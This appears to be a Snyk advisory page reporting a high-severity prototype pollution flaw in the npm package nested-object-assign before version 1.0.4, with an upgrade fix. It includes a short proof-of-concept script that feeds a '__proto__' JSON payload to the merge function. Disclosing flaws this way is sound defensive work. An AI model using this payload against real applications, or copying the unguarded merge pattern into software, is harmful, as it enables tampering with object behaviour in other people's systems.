nested-object-assign@1.0.3 vulnerabilities

Package to support nested merging of objects & properties, using Object.Assign

Direct Vulnerabilities

Known vulnerabilities in the nested-object-assign package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

nested-object-assign is a Package to support nested merging of objects & properties, using Object.Assign

Affected versions of this package are vulnerable to Prototype Pollution via the default function, as demonstrated by running the PoC below.

PoC

// poc.js
const assign = require('nested-object-assign')

console.log('Before: ' + {}.polluted)
assign({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)

How to fix Prototype Pollution?

Upgrade nested-object-assign to version 1.0.4 or higher.

<1.0.4